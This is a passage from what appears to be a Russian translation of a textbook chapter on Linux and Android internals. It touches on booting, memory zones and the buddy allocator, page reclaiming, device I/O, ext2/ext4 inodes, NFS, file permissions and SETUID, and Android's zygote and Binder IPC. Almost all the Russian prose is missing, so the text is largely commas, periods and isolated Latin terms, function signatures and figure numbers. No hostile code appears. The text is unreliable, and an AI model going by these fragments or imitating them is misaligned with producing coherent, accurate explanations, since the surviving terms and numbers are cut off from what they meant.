, , Linux . , rmb
wmb, , -, , .
.
, (
), -, -
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, .
Linux , mutex_trylock sem_trywait. (futexes), (completions),
(read copy update (RCU)) . . ,
, ,
.

10.3.5. Linux
,
. , BIOS
(Power-On-Self-Test, POST), (
, , . .).
( Master Boot Record (MBR)).
(512-) ,
boot , SATA- SCSI-. boot
,
.
boot
. , (, GRUB (GRand Unified Bootloader)).
(, LILO Intel)
. , , ( ).
boot .
boot , .

. , , , ,
, , , main ( C),
.

824

10. : Unix, Linux Android

C ,
, . ,
, . , , .
.
, .
. , , ,
.
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UNIX, Linux
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(, -), , , .

,
.
,
( -,
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, .
0, . 0
, ,
, 1 (init)
( 2).
init , ,
. , , ,
. init ,
/etc/rc,

10.3. Linux

825

,
, . .
/etc/ttys, .
, getty.
getty ( ,
, ) ,
:
login:

getty . ,
getty /bin/login.
login , , /etc/passwd.
, login ,
. , login
. . 10.5
.

. 10.5.
Linux

getty, 0, . 1 , getty
login, . 2
, (%).

cp f1 f2

826

10. : Unix, Linux Android

, cp.
,
.
2 cp cc,
C, , ,
.

10.4. Linux
Linux , , Linux
, (, IBM PC)
. . . .

10.4.1.
Linux ,
: , .
. 10.6 ( ). (text segment) , .
( ,
C C++) . ,
.
1950 , . ,
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(data segment) , ,
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Started by Symbol).
, . BSS .
, C . , ,
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.
, .
.
, ,
C, 0.
, ,

10.4. Linux

827

. 10.6. A; ;
B

0. :
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( ) .
.
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(. . 10.6, ).
8 , 8 . (BSS) 4 .
16 ( + ) ,
4
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4 .
,
Linux ( , ). ,
.
,
.
, , . . ,
.
Linux .
brk. ,

828

10. : Unix, Linux Android

,
. malloc
, .
( heap).
(stack segment).

0. , 32- 86 0xC0000000,
,
.
, ,
.
.
, . ,
(), ,
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cp src dest

cp cp src dest , , .
, .
(,
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.
.
,
fork, , .
,
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. ,
Linux . , 32-
( )
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0 0
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Linux

10.4. Linux

829

(memory-mapped files).
, ,
, .
,
, read write. . . 10.7
,
.

. 10.7.

,

.
. , ( )
( ) .
, ,
, -
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, .
.

10.4.2. Linux
POSIX . , .
, , , , -

830

10. : Unix, Linux Android

,
malloc ( ANSI C). , malloc POSIX.
.
Linux
. . 10.5.
brk ,
. , , .
10.5. .
s 1; a addr ;
len ; prot ; flags ;
fd ; offset

s=brk(addr)

a=mmap(addr, len, prot, flags, fd, offset)

s=unmap(addr, len)

mmap unmap . addr mmap ,

( ).
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a. len
. . prot
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flags ,
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. .
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unmap .
,
.

10.4.3. Linux
Linux 32- 3
, 1 . 1 , ,
. ,
(
0xC0000000 0xFFFFFFFF, 3 4 ).

10.4. Linux

831

64- x86 48 ,
,
256 . Linux ,
128 .
exec.
, Linux
, ,
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( ) .

Linux, .

, ,
, - . Linux :
1. ZONE_DMA , DMA.
2. ZONE_NORMAL .
3. ZONE_HIGHMEM ,
.
. 86 DMA
16 , , ZONE_DMA
0 16 . 64-
, 32- DMA, ZONE_DMA32. ,
i386 896 ,
, , ZONE_HIGHMEM. ZONE_NORMAL
, . 32- 86 896 Linux ,
128
. x86 64 ZONE_HIGHMEM .
zone
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Linux .
( ).
, ,
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, (, ,
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832

10. : Unix, Linux Android

Linux (page descriptors) page

( mem_map).
: , ( ); ,
(,
), .
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. 32 , mem_map
1 % ( 4 ).

. 10.8. Linux

, Linux (zone descriptor).

, ,
(
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2i . 2i , Linux
page (

10.4. Linux

833

). .
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, ( 20 = 1))
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1 .
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. UMA Linux
. , .
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, . ,
. Linux , .
( )
(buddy algorithm). .

834

10. : Unix, Linux Android

. 10.9. Linux

Linux .
(page allocator),
.
.
. . 10.10,
64 . , 2, 8 .
(. 10.10, ).
,
(. 10.10, ) (. 10.10, ).
, ( . 10.10, ).

. 10.10.

10.4. Linux

835

, 8 . (. 10.10, ). 4 . (. 10.10, ),
(. 10.10, ). 8- (. 10.10, ).
, 8- .
(
16- ), 16- (. 10.10, ).
Linux . ,
1 ,
2 , 4 . . , ,
2.
,
65- , 128- .
, Linux (slab allocator), ,
.
(,
task_struct), (object caches).
,
. ,
.
, (
task_struct),
task_struct .
, . ( )
,
. kmalloc,
,
( ).
vmalloc,
, , .
. ,
( ). vmalloc
,
(,
).
System V.

, .

836

10. : Unix, Linux Android

. (. . 10.8). .
. : ,
Pentium 4 , Alpha 8 . Pentium 4 . 64-
Linux (huge pages)
2 1 . ,
(Physical Address Extension (PAE)), 32-
4 , 2 .
vm_area_struct. (
) ,
( ).
( 32 ), . vm_area_struct .
(, /), ,
( ) ( , ).
vm_area_struct ,
. fork Linux ,
. /,
. - ,
, , .
/. .
vm_area_struct ,
, , .
,
. (, ) (
).
mm_struct ( ),
(, , ), ( ) . . mm_struct
( ). -, , .
,
.
, vm_area_struct (
). ,
. , Linux
,
, .

10.4. Linux

837

10.4.4. Linux
UNIX (swapper process),
(
). Linux (
UNIX) . ,
. Page Frame Reclaiming Algorithm, .
Linux : , . , ,
. ,
.
, ( )
.
, , .
, ,
(page daemon). 2 ( 0 idle, , 1 init (. . 10.5)).
, . , . ,
, .
Linux
( ) ( , ).
.
( ), ( ), (swap area). , .
,
, , ,
, . -,
. -, ,
. -,
, .
,
.
, , . ,
, ,
( ) , , (
) . ,
( ) ,
. , ,
( ),
.

838

10. : Unix, Linux Android

. Linux
,
. , .
PFRA (Page Frame Reclaiming Algorithm).
Linux : (unreclaimable), (swappable), (syncable) (discardable). (
, . .) .
( ) , .
, .
, .
init kswapd (
) .
kswapd , ,
. ,
, , .
, kswapd PFRA.

( 32 ). ,
- ( , PFRA).
, .
PFRA , .
, . , ,
,
. ,
( ). ,
. ,
,
( ) . Linux
,
.
, ,
. (swappines)
,
, PFRA, . , , , , DMA, .
PFRA ( )
, . ,

10.4. Linux

839

,
( ).
, ,
. ,
, .
PFRA
. 10.11 . , ,
PFRA : /
/. (.
. 10.11). PFRA
. ,
, ,
. ,
.

. 10.11. , PFRA

(
) . ,
, PG_active PG_referenced, (. . 10.11).
( ).
.
PFRA ( )
, : , (
). , , .
, .
pdflush,
, . pdflush
( 500 ) -

840

10. : Unix, Linux Android

, (
)
. ( )
pdflush.
(
, sync, orfsync fdatasync). Linux
: kupdate ( ) bdflush
( ). 2.4
pdflush.
.

10.5. - Linux
- Linux
UNIX-. , - read write,
.
. .

10.5.1.
,
Linux - (, ,
).
. , Linux
(special
files). - (
/dev). , /dev/hd1,
/dev/lp, /dev/net.
,
. .
read write. ,
cp file /dev/lp

file , (
, /dev/lp).
, ( ,
). cp
, . , -
.
: . (block special file) . ,
.
, , ,

10.5. - Linux

841

124- ( 0- 123-). .
(character special files)
.
, , , , ,
. . ( ) 124- .
,
. (major device), .
(, ),

(minor device). -.
. , /dev/tty , ,
.
, ,
. , ,
.
, .
Backspace,
Del.
. @, ( @ )
Ctrl+U .
.
Ctrl+C, .
Linux ,
.
.
, , . .
.

10.5.2.
- ,
Berkeley UNIX Linux . Berkeley UNIX (socket).
,
, ,
. . 10.12.
. ,
, , .

842

10. : Unix, Linux Android

. 10.12.

, . :
1. .
2. .
3. .

. . ,
, , .
, .
write,
512 , 2560 , 1
2560 . 2
512 . , read .
.
,
. . , 3
. , (, ,
, ).
. , , TCP
(Transmission Control Protocol ).
UDP (User Data Protocol ). IP (Internet
Protocol). ARPANET
.
.

10.5. - Linux

843

,
.
.
, 32- ( ) IP v 4 128- IP v 6
(5- IP ,
).
- -,
(
). listen,
( ,
). connect,
.
,
.
.
,
. , close.

10.5.3. - Linux
- Linux
. -
, .
. POSIX
UNIX ioctl, ,
. . POSIX
, ioctl , .
Linux UNIX- ,
.
. 10.6 .
, . ,
videotex
( ) 75 / ,
1200 /. ,
1200 /
. .
. ,
ADSL (Asymmetric Digital Subscriber Line
)
20 / 2 /.

844

10. : Unix, Linux Android

10.6. POSIX

s=cfsetospeed(&termios, speed)

s=cfsetispeed(&termios, speed)

s=cfgetospeed(&termios, speed)

s=cfgtetispeed(&termios, speed)

s=tcsetattr(fd, opt, &termios)

s=tcgetattr(fd, &termios)

, , . . , ,
, - .
-, ,
. , ioctl
- .

10.5.4. - Linux
- Linux ,
. .

-
.
,
, ,
. -, ( ) .

, , . . . Linux
,
.
( ) . 10.7. -
( ). , .
. ,
- ( ), (
). ,
, .

10.5. - Linux

845

10.7. ,

Open

Close

Read

Write

Ioctl

Other

Null

null

null

null

null

null

null

null

mem_read

mem_write

null

k_open

k_close

k_read

error

k_ioctl

Tty

tty_open

tty_close

tty_read

tty_write

tty_ioctl

lp_open

lp_close

error

lp_write

lp_ioctl

, Linux
.
Linux.
. , , DMA
. . , ,
(Driver-Kernel Interface). Linux Cooperstein (2009) Corbet et al.
(2009).
- :
. .
, -
(, ),
. Linux-
(. 10.13).
2.2 Linux ,
.
Linux . ,
, .
, . (, i-,
), . ,
, (
).
, ,
, .
, .
, .
, , . pdflush
, .
,
30 .

846

10. : Unix, Linux Android

. 10.13. - Linux ( )

, Linux
- (I/O scheduler).
- . , .
Linux Linus Elevator
scheduler. :
, . .
.
,
. .
(
). 0,5
5 .
,
.

( raw block files).

( ). , .
. ( ),
.
(line disciplines).
( tty_struct)

10.5. - Linux

847

, . ,
(
),
, .
,
( ).
.
, ,
, -,
. . ,
( ) ( ).

. .
(network devices)
. ,

. , (
).
.
skbuff, , .
skbuff .
, .
sockets, Linux BSD.
( raw_sockets).
.

10.5.5. Linux
UNIX ,
.

-, , , UNIX. ,
( -), .
, ,
.
Linux, . - , -. ,
Linux ( )

848

10. : Unix, Linux Android

,
,
, ( , ,
).
Linux (loadable modules). ,
. ,
,
, ,
.
. -,
( ) . -,
, (,
), , ,
. -, . -,
. ,
.
, (
, ). UNIX
.

10.6. UNIX
( Linux)
.
Linux, .
MULTICS (
MS-DOS, Windows ), UNIX-
. Linux ,
(Small is Beautiful).
Linux .

10.6.1.
Linux MINIX 1.
- , 14
( UNIX Version 7),
64 ( ,
10 ), Linux (
5 MINIX 1).
ext, 255
2 ( , MINIX 1,
). -

10.6. UNIX

849

ext2 ( ,
), . Linux

Virtual File System (VFS), .
Linux , , . ( )
( ).
Linux ( 0
), . (ASCII) ,
. .
. 255 .
ASCII-, NUL, (
).
,
, ( ). , prog.c C, prog.py Python, prog.o (
). ,

. ,
, prog.java.Z, , ,
Java.
.
, , . , .
/ . /
, /usr/ast/x
x, ast,
usr. ( ) . 10.8.
10.8. ,
Linux

bin

()

dev

etc

lib

usr

Linux ( ,
). (absolute path), , .

850

10. : Unix, Linux Android

: /usr/ast/books/mos4/chap-10. ,
usr, ast,
books, mos4, chap-10.
.
Linux ,
, (working directory).
. , , (relative path). , /usr/ast/books/mos4 ,

cp chap-10 backup-10

,
cp /usr/ast/books/mos4/chap-10 /usr/ast/books/mos4/backup-10

, , , .
, , , ,
(
). , . Linux
(link),
, .
, . 10.14, .
, . /usr/fred, x
/usr/lisa/x.
(. 10.14, ), x.
,
, x ,

. 10.14. ;

10.6. UNIX

851

. . , . ...
. ,
, . ,
/usr/fred x
../lisa/x.
Linux
.
-,
. /dev/tty ,
. /dev/lp , .
( , /dev/hd1)
, .
k, , k- , i- .

(, mkfs), ,
(, fsck).
. ,
100 (
).
(, DVD).
.
,
. , ,
. 10.15, . , C:, DVD, D:.
.
( ).
, x d (, C:),
cp D:/x /a/d/x

, Windows 8,
MS-DOS, .
Linux , .
DVD /b, ,
. 10.15, .
, .
cp /b/x /a/d/x

,
.

852

10. : Unix, Linux Android

DVD

. 10.15. : ;

Linux (locking).
, . , .
,
, , , .
, , , ,
.
, down .
,
.
POSIX ,
( ).
, . , , ,
(, ) .
: (exclusive
locks) (shared locks).
, , . -
,
, .
, .
,
, . ,
,
, .
,

10.6. UNIX

853

, ,
. , ,
(, ).
. . 10.16, , A 4- 7-
. B 6-
9- (. 10.16, ). , C 2- 11-.
, .
, ,
9 (. 10.16, ), .
.
, (B C) .

. 10.16. : ; ;

10.6.2. Linux
.
, .
,
. creat.
( , , UNIX, ,

854

10. : Unix, Linux Android

creat create.)
. ,
fd = creat("abc", mode);

abc , mode. mode

, , .
.
creat , .
,
creat , (file descriptor) (fd ).
,
0, .
open .
,
. 10.9.
, open creat.
, ,
: , .
. creat, open
, .
close, ( creat open). creat open
.
10.9. . s 1, fd , position
.

fd=creat(name, mode)

fd=open(file, how,

s=close(fd)

n=read(fd, buffer, nbytes)

n=write(fd, buffer, nbytes)

position=lseek(fd, offset, whence)

s=stat(name, &buf)

s=fstat(fd, &buf)

s=pipe(&fd[0])

s=fcntl(fd, cmd, ...)

,
0, 1 2 , . , (, -

10.6. UNIX

855

sort) 0,
1, , .
, ,
( ).
read write.
: (,
), (, ), (,
). . . :
n = read(fd, buffer, nbytes)

,
.
, .
( ) ,
( ). , 1024
4096- , read
5120- . lseek,
read ( write) ( ) . lseek,
, 16-
seek.
lseek : , , , ,
. lseek
, . , lseek
,
, , , ,
.
Linux ,
() (, , ), ,
, .
stat. .
,
. . 10.10.
fstat , stat, , ( ), .
10.10. , stat
,
i- ( )
( )

856

10. : Unix, Linux Android

10.10 ()

pipe .
, ,
.
sort <in | head -30

1 ( ) , sort,
, 0 ( )
, head, . sort 0 ( in)
1 (), , . , sort
( ).
, head 0, , sort
( , ). ,
() ( 0
1) (
).
. 10.9 fcntl.
,
.
,
, .
. 10.11.
mkdir rmdir .
, .
10.11. , .
s 1; dir ;
dirent .

s=mkdir(path, mode)

s=rmdir(path)

s=link(oldpath, newpath)

10.6. UNIX

s=unlink(path)

s=chdir(path)

dir=opendir(path)

s=closedir(dir)

dirent=readdir(dir)

rewinddir(dir)

857

. 10.14,
, . link.
. unlink.
, .
,
unlink .
chdir. -
.
. 10.11 .
, .
readdir ( ). (
, ).
creat link,
unlink. Linux , rewinddir,
.

10.6.3. Linux
(Virtual File System (VFS)) . VFS (
) Linux
( ).
VFS.
Linux ext2 ( ).
ext4.
. Linux-
, .

Linux
, , Linux

858

10. : Unix, Linux Android

UNIX- VFS. VFS

.
VFS, (
) VFS
.
. 10.12 ,
VFS. .
. i- (
-, ) .
, Linux ,
i-. , i-
, .
10.12. VFS

read_inode, sync_fs

(dentry)

create, link

i-

d_compare, d_delete

(file)

read, write

(,
/usr/ast/bin), VFS dentry,
. . dentry_cache. , dentry_cache
/, /usr, /usr/ast . . (
),
.
, file ,
open. ,
read, write, sendfile, lock (
).
VFS . ( ,
VFS). operations
VFS .

Ext2 Linux
Linux ext2.
Linux MINIX 1, 64 .
MINIX 1 ext, -

10.6. UNIX

859

. ( )
ext ext2, .
ext2 . 10.17 . 0 Linux .
0 (
). .

. 10.17. ext2

(superblock), , i-, ,
( ).
, , i- ,
. , ext2
.
i- (
MINIX 1
UNIX, ).
. 1 8192 8192 i-.
, . 4
.
i-. 1 .
i- 128 , . i-
( stat,
i-), , .
i- . .
, . , ,
.
i- .
Ext2 , , , i-
( , ).
Berkeley Fast File System (McKusick et al., 1984).
,

860

10. : Unix, Linux Android

. ,
ext2 (preallocates) () (
- ).
. (
).
Linux
(, open), . ,
. ,
,
. , i- : ( ) .
255 (. 10.18).
(
).
(
). , .

. 10.18. Linux: ; voluminous

. 10.18
. i-, 19 colossal, 42 voluminous 88 bigdir.
rec_len, (,
- ). , ( ,

10.6. UNIX

861

). .
, . .
(8, 10 6 ). , ,
32- .
-.
. 10.18, , voluminous
. , , colossal,
voluminous .
.
, , , .
, .
, ,
. dentry
, ( i-)
( , i- ).
, , (, /usr/ast/file),
. , i- 2 ( i- 1
). ( ).
usr, i- /usr
( ). i- ,
, /usr
ast. , i- /usr/ast. i-,
. , file i-.
, ,
.
, i-
i- ( ) i-
. i- i- (i-node table)
, i-
. i- ( ) , stat, stat (. . 10.10).
. 10.13 i-, Linux. i- ,
,
. i-
. ,
.
, . ,
read
:
n = read(fd, buffer, nbytes);

862

10. : Unix, Linux Android

10.13. i- Linux

Mode

, , setuid setgid

Nlinks

, i-

Uid

UID

Gid

GID

Size

Addr

60

12 3

Gen

( i-)

Atime

Mtime

Ctime

i- ( )

, , ,
( ). .

( , 32).
, i-. :
i- . ,
( ) . .
,
, .
? i-.
,
,
.

.
. , ,

Linux. s, (p1 p2), .

s >x

, p1 x,
p2 x, ,
p1.
p1, x , p1
0. p1 , , , p2

10.6. UNIX

863

0 ( ,
), , p1.
, , . 10.19. ,
(open file description table)
i-
( /). ,
p1, p2.
p1, ( ) ,
.
p1 ,
, p1
. p2, , ,
.

. 10.19. ,
i-

- ,
,
. ,

864

10. : Unix, Linux Android

, ,
.
( read), , i-. I- 12
. 12 ,
. , 12 , i-
(single indirect block) (. 10.19). . , 1 ,
4 , 256
. 268 .
(double indirect
block). 256 ,
256 . 10 + 216 (67 119 104 ). ,
i- (triple indirect block).
. 224 1 ( 16 ).
8 64 .

Ext4 Linux

ext2 .
, .
,
30 , ( ) .
Linux
(journaling file systems). ext3
ext2. ext3,
ext4, , ext3 , ,
, .
.
,
.

(i-, . .)
( ). ()
. , ,
,
( ) .

10.6. UNIX

865

Ext4 ,
ext2 ext3, . , , ext2
ext4 .
, .
, , .
, ext4
. /
JBD (Journaling Block Device).
JBD : (log record), (atomic operation handle), (transaction).
(
). (, write)
i-,
, , . .,
. Ext4 JBD ( JBD
, ).
, JBD
. . JBD ,
.
, ext4 ,
, ,
(i-, , . .).
,
. (, XFS
SGI). ,
.
ext4 . :
, 128 4- , ext2. , ext4
.
. ext4

. , 1 ext4
16 16 ,
1 ().

/proc
Linux /proc (process ).
8- UNIX,
Bell Labs, 4.4BSD System V.

866

10. : Unix, Linux Android

Linux .
, /proc. PID
. , /proc/619 ,
PID 619. ,
, . . , .
, Linux, , /proc.
, , , ,
, , . ,
( ).
/proc, .

10.6.4. NFS
Linux ( UNIX- )
( UNIX
PDP-11/70 Interdata 8/32).
NFS (Network File System ) Sun Microsystems, Linux
( )
. 3 NFS
( 1994 ). NSFv4 2000 .
.
NFS: , . 3,
4.

NFS
NFS ,
. ,
. NFS (
).
, ,
NFS , .
NFS ,
. ,
, , .
( /etc/exports), . ,
. () ,
(. 10.20).

10.6. UNIX

867

. 10.20. . ,

1 bin 1 bin, bin/sh 1.

( ), (
). , 1 /projects 2 /usr/ast/work, a /usr/ast/
work/proj1/a. , 2 projects
, : /mnt/proj1/a. ,
,
.
, .

NFS
NFS
,
, ,
.
, ( ).
NFS . (protocol) , ,
, .
NFS .
-

868

10. : Unix, Linux Android

. , , , .
,
(file handle). , , , i-
. .
Linux ( ) /etc/rc.
. ,
, .
Linux (automounting).
.
( ).
( ) . , .

( /etc/rc). -, ,
/etc/rc, ,
( , ,
). , . -,

(
) (
, , ).
,
. NFS ,
.
, , ,
. , .
NFS .
,
. , , . NFS
Linux, (
) open close.
open close . .
, . , . ,
, lookup ( ) , ,

10.6. UNIX

869

(
i- ). open,
lookup .
read ( ),
( ),
. , .
, (
) - .
,
, . , , (stateless).
, NFS Linux. , Linux
, .
, . (,
NFS) , ,
. , NFS .
NFS UNIX rwx
, ( 1,
).

, NFS .
NFS , . ,
( ?) .

.
, .

NFS
NFS,
Linux ,
. 10.21. .
, open, read close.
VFS (Virtual File System ).
VFS ,
. VFS
, v- (virtual i-node i-). V- , .
, .
i-,
Linux (, ext2fs, /proc, FAT
. .). VFS NFS,
Linux
( NFS ).

870

10. : Unix, Linux Android

. 10.21. NFS

, v-,
mount, open read. , ( /etc/rc) mount,
, (
) . mount NFS, . ,
.
, . ,
mount, .
v- NFS
(. . 10.21) r- ( i-)
. V- r-. v- VFS
r- NFS, i- ( . 10.21
). , v- ,
( ) . ,
i-. ,
.
, - (
) ,
. , , v-
r-. NFS . NFS
(

10.6. UNIX

871

) .
r- VFS,
v- , r-. ,
( ) v-, r- i-.
.
v- VFS. ,
.
, .
,
( ).
,
RPC ( ).
(,
read), VFS v- ,
, i- r- .
, , (
, ) .

, 8192 ( ).
, VFS,
, .
VFS ,
. . VFS
8 , , , .
, (read ahead),
.
. 8 . write 8 ,
. 8 ,
. ,
.
, ,
UNIX. , , .
(i-) .
i-, , ,
. , .
,
. ,
.
, .
.
, NFS . -, .
, . , -

872

10. : Unix, Linux Android

3 , 30 . , .
, , , .
,
, , . , 30 ()
. , .

NFS 4
4 Network File System
( ) . NFSv3, NFSv4 .
open , NFS
( ).
,
. , NFSv3 .
NFSv4
NFSv3 . , , . NFSv4
Linux, Windows.

10.7. Linux
Linux ( MINIX UNIX) . ,
.
Linux.

10.7.1.
Linux , UID (User ID ). UID 0
65 535. , .
, (
).
, 16- , GID (Group ID ).
( ),
, .
.
, .

10.7. Linux

873

Linux . UID GID . ,

UID GID . ,
.
,
. : , , r, w x (read, write,
execute) . , ,
, .
, ,
( ),
.
, 9 .
9- . 10.14.
10.14.

111000000

rwx------

111111000

rwxrwx---

110100000

rw-r-----

110100100

rw-r--r--

111101101

rwxr-xr-x

000000000

---------

000000111

------rwx

(, )

. 10.14 .
.
, , .
, .
,
. . -, ,
,
.
, . ,
, , , .
. ,
, .
, UID 0,
(superuser root).
, . UID = 0 -

874

10. : Unix, Linux Android

, .
, ,
,
,
.
.
, , . , x
, . ,
rwxr-xr-x , ,
,
, .
, -,
. -
. ,
/dev/lp (root) .
rw-------,
.
.
, /dev/lp rw-------,
, . , ,
,
- .
- .
9
, SETUID.
SETUID, UID (effective UID) UID
, UID .
, UID, UID.
, , ,
SETUID, (, /dev/lp),
( ).
UNIX ,
, SETUID. ,
passwd, ,
. ,
. , root,
SETUID.
,
.
SETUID SETGID,
GID .
.

10.7. Linux

875

10.7.2. Linux
.
. 10.15. chmod. . ,
s = chmod("/usr/ast/newgame", 0755);

newgame rwxr-xr-x,
( , 0755
, ,
). .
10.15. , .
, s 1; uid gid , , UID
GID.

s=chmod(path, mode)

s=access(path, mode)

,
UID GID

uid=getuid( )

UID

uid=geteuid( )

UID

gid=getgid( )

GID

gid=getegid( )

GID

s=chown(path, owner, group)

s=setuid(uid)

UID

s=setgid(gid)

GID

access ,
UID GID. ,

SETUID, root.
, , .
,
. access ,
UID GID.
UID
GID. .
, UID GID .

10.7.3. Linux
, login (
SETUID root) .
/etc/passwd, ,

876

10. : Unix, Linux Android

- ( ).
, . ,
/etc/passwd , .
bash, , csh
ksh. setuid setgid,
UID GID ( ,
SETUID root).
( 0) ( 1),
( 2). ,
.
UID GID,
, , . ,
fork ( , ),
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. , , .
- ,
i- UID
GID, , . , .
, 1.
read write .
, ,
, .
Linux ,
, UNIX.

10.8. Android
Android ,
. Linux
Android Linux Linux (,
, , , . .),
.
5 Android .
,
, . , .
, ,
(
, , ),

10.8. Android

877

, (GUI),
VOIP-, -, ,
.
Android Java.
C C++. Java, API
, , Java.
Android, Java, - , , , .

10.8.1. Android Google

Android ,
. Android Android Open
Source Project (AOSP)
.
Android
, API , . , ,
. .
Android (Compatibility Definition Document (CDD)),
Android,
. , Android-
. .
- .
Android ( ,
), .
, , ,
, CDD-.
Google Android, , Google: Gmail, ,
,
, . , Google Play.
Google Play - Google Android-. , Android-, Google
Play. Google Play ( ) ,
Android-, , , .

878

10. : Unix, Linux Android

Google Play .
, ,
, Android-,
CDD.
. , Google Play , (, GPS ), ,
.

10.8.2. Android
Google Android 2000- ,
Android , . Android
Google.

Android, Inc. .
, , .

, Linux,
.
, .
: JavaScript, Java C++.
Google Android 2005 , Android
. ,
.
2006 :

Java.
,
, .
, , .
,
. API-
, ,
. Java
.
Android , . Google

10.8. Android

879

, Gmail, Maps, Calendar, YouTube

, , Search, Android. , , .

.

, .
, , , - .
,
(Software Development Kit (SDK)), Android ,
Application.onTerminate.
2006 . , Sooner
(), QWERTY-
.

. , Dream (),
Android, . ( ) ,
QWERTY-, 3G- (
-), , GPS ( Google Maps), .
, , :
, Sooner, .
, Sooner, Dream. , Sooner
(
, )
Dream.

Android 1.0
Android 2007 ,
SDK. ,
Android- , API-
. , Android,
. , , Sooner Dream.
Android , .
SDK.
, ,

880

10. : Unix, Linux Android

,
.
: SDK
API-
, Dream. SDK,
2008 0.9,
API-.
, 2008
, Dream.
Android , , , C
Dalvik- ( ), .
Android ,
, , .
,
,
.
, 2008
.
. Android 1.0 Dream,
T-Mobile G1.

Android 1.0 .
5 15
1.0 .
Compatibility Definition Document ,
T-Mobile G1.
. .
1. 2009 Android 1.5 2.0
,
, (
, ) QVGA- , WVGA
Motorola Droid. , ,
, .
Google Play, , .
2. 2011 Android 3.0 4.0 10-
.
, QVGA- -

10.8. Android

881

, 7- 10- .
3. , ,
,
Android-. , Google
TV, , , . .
: Google Android- .
Android 1.0
API- ,
Google. Google
.
, Google .
:
1. 2009 Android 2.0 ,
API-
, . Google,
, SDK
API.
2. 2010 Android 2.2 Google.
Google,
(cloud-to-device messaging),
, ,
.
3. 2012 Google
Play, Google,
.
2010 , API-,
, Google.

10.8.3.
Android :
1. . Android, , ,
, .
2. ,
, API. , , , ,

882

10. : Unix, Linux Android

,
, . Android
( SDK
API- )
( CDD).
3. ,
Google, . Android ,
, : (,
API-
) (, Google) (, ).
4. , .

, ,
.
, .
5. , , .
: ,
SMS- IM-, . .

. - Android
200 .
6. , ,
.
,
, , .

, .
7. .
:
,
. ,
.
8. . ,
, -

10.8. Android

883

. Android , ,
.

10.8.4. Android
Android Linux, , .

Linux
Linux .
Linux- Android- init, .
init- Android -, ( ),
,
(cron jobs). Android , Java Dalvik.
, Java.
Android . 10.22. init, -.
zygote, Java.

system_server

phone

Dalvik

Dalvik

appN

app2

app1

Dalvik

Dalvik

Dalvik

zygote
installd

servicemanager

adbd

Dalvik

init

. 10.22. Android

Android- init , Android- .

- adbd (,

884

10. : Unix, Linux Android

USB), ,
.
Android Java,
zygote . , zygote, system_server
. , ,
.
zygote .
,
, ,
.
.
, Android (Android
framework). ,
.
system_server.
API- Android,
, , . 10.23.
API- ,
, PackageManager.

PackageManager

PackageManagerService
Binder IPC

Bind

er IP

der

Bin

IPC

. 10.23.

10.8. Android

885

system_server. system_server

(service manager), -, init. PackageManager service manager ,
.
PackageManager , .
PackageManager Android- Binder IPC,
PackageManagerService system_server. PackageManagerService
,
.

10.8.5. Linux
Android Linux, Linux. Android
,
Linux. Linux,
Android.

,
Android Linux
(wake locks) (suspend blockers).
:
,
. ,

.
: , -
. ,
,
.
.
, , ,
. , : ,
.

886

10. : Unix, Linux Android

,
, , .
: ,
, , ,
, , , .

.
, :
,
. , ,
, Linux ( ) ,
.

, , :
1. , .
2. , .
3. ,
, .
Android , .

. , , ,
- , .
, ,
, , , .
, , , ,
, -
. , .
, , . ,
(, ),
(, ).
Linux
: ,
, .
, , ,
, .

10.8. Android

887

,
, .

, .
, ,
.
- , .
, .

Linux Out-Of-Memory Killer,
.
.
, , . ,

,
.
, .
, .
,
, ,
, , , .
Android . ,
: ,
,
. Android
Linux- ,
.

, (, ) mmap , , ,
.
Linux- ,
, .
, Android , ,
.

888

10. : Unix, Linux Android

Android
. Android ,
.
,
-. , ,
- . ,
,
, , -
.
, ,
Android , . Linux
oom_adj,
. Android- ,
: oom_adj . Android
, .

10.8.6. Dalvik
Dalvik Android Java,
,
. system_service, ,
,
Java, Dalvik.
Android ,
Java. Java Android- - Dalvik, - ,
- Java, - . -
Dalvik , JIT- (Just-in-Time ). - Dalvik
,
.
Android- Java, - Java
Java. Android - Java
- Dalvik. - Dalvik ,

.
, ,
, Android
Linux.

10.8. Android

889

Java , , Linux.
Android . Android , Java
, , . ,
Linux- Dalvik, system_server ,
Java.
Android
Linux, ,
, , .
Android Linux,
SecurityManager Java.
Linux
Dalvik,
. , ,
, C++.
Java . Java
. : Android
, 200 .
Dalvik- .
200 ,
Java.
zygote. Dalvik- ,
, Java.
, Dalvik ( ),
zygote,
. Zygote Dalvik,
Android-, , .
, zygote Linux-
fork, exec .
zygote, , . Java- zygote . 10.24.
Dalvik-, ,
zygote
. (UID . .),
Dalvik-, ,
.

890

10. : Unix, Linux Android

Zygote

Dalvik

Dalvik

. 10.24. Dalvik- zygote

zygote .
zygote fork, zygote

, Dalvik- . Android, , :
(, ) (-).

.

10.8.7. Binder IPC

Android- , ,
.
(interprocess-communication (IPC)) ,
. Android IPC- Binder
Android-.
Binder (. 10.25).
,
ioctl. ( ioctl
.) API - ,
IBinder Binder,
IPC .
, IPC-, IPC .

10.8. Android

891

/aidl

transact()

onTransact()

IBinder / Binder
Binder

ioctl()
Binder
. 10.25. IPC Binder

Binder
Linux IPC-, , Binder
, IPC-.
Binder IPC Linux ,

. , Android
System V (, , ), .
IPC-, Binder,
(remote procedure call (RPC)).
IPC-, ;
, ,
. ( , , ,
.) ,
Binder IPC , Linux, , System V. Binder
.

892

10. : Unix, Linux Android

, ,
: , .
.
. 10.26 .
, , .
, . , ,
. ,
.
1

: 1
()

: 1
: 1
()

Ta

T1

T2

To: Object1
From: Process 1
(Data)

T1

T2

. 10.26. Binder IPC

( ,
, : . . , , .
, ,
.)
, . 10.26 . ,
. ,
.
- ,
, Ta (. . 10.26).
, , , ,
-.
(. 10.27). . , . C,
C++ - , .

10.8. Android
1

1a

1
2

893

1a

2a

2a

2
3

2
3

. 10.27. , Binder

(handle), Linux.
, , 1 2. , 2, , 2 1.
1 , 2,
, 2, O 2
.
,
, . (. . 10.27),
1 2 2, 2
2 1. , ,
, . ,
2, 2, ,
1. , , 1
, , , , .
?
Linux,
. .
. 10.28. ,
1 2 1 . ,
.
:
1. 1 ,
1.
2. 1 .
3. , 1
, .
4. , 2, ,
2, 2.

894

10. : Unix, Linux Android

1

2a

2
2a

1
2

2
2

3 6

1
: 2

: 2
: 1

5 : 2a

: 2a
: 1

: 1
4

3 6

. 10.28. Binder-

5. , 2, 2.
6. .
, 1 2,
3.
7. 2 .
8. 3
.
-, , ,
,
-. ,
, Linux,
. Binder IPC

.
Binder, , Linux . Binder-.
. - , .
, ,
, .

API Binder

Binder . -
, API-.
API-
, , :

10.8. Android

895

1. IBinder Binder. transact. .

, ,
- . , , , , Binder;.
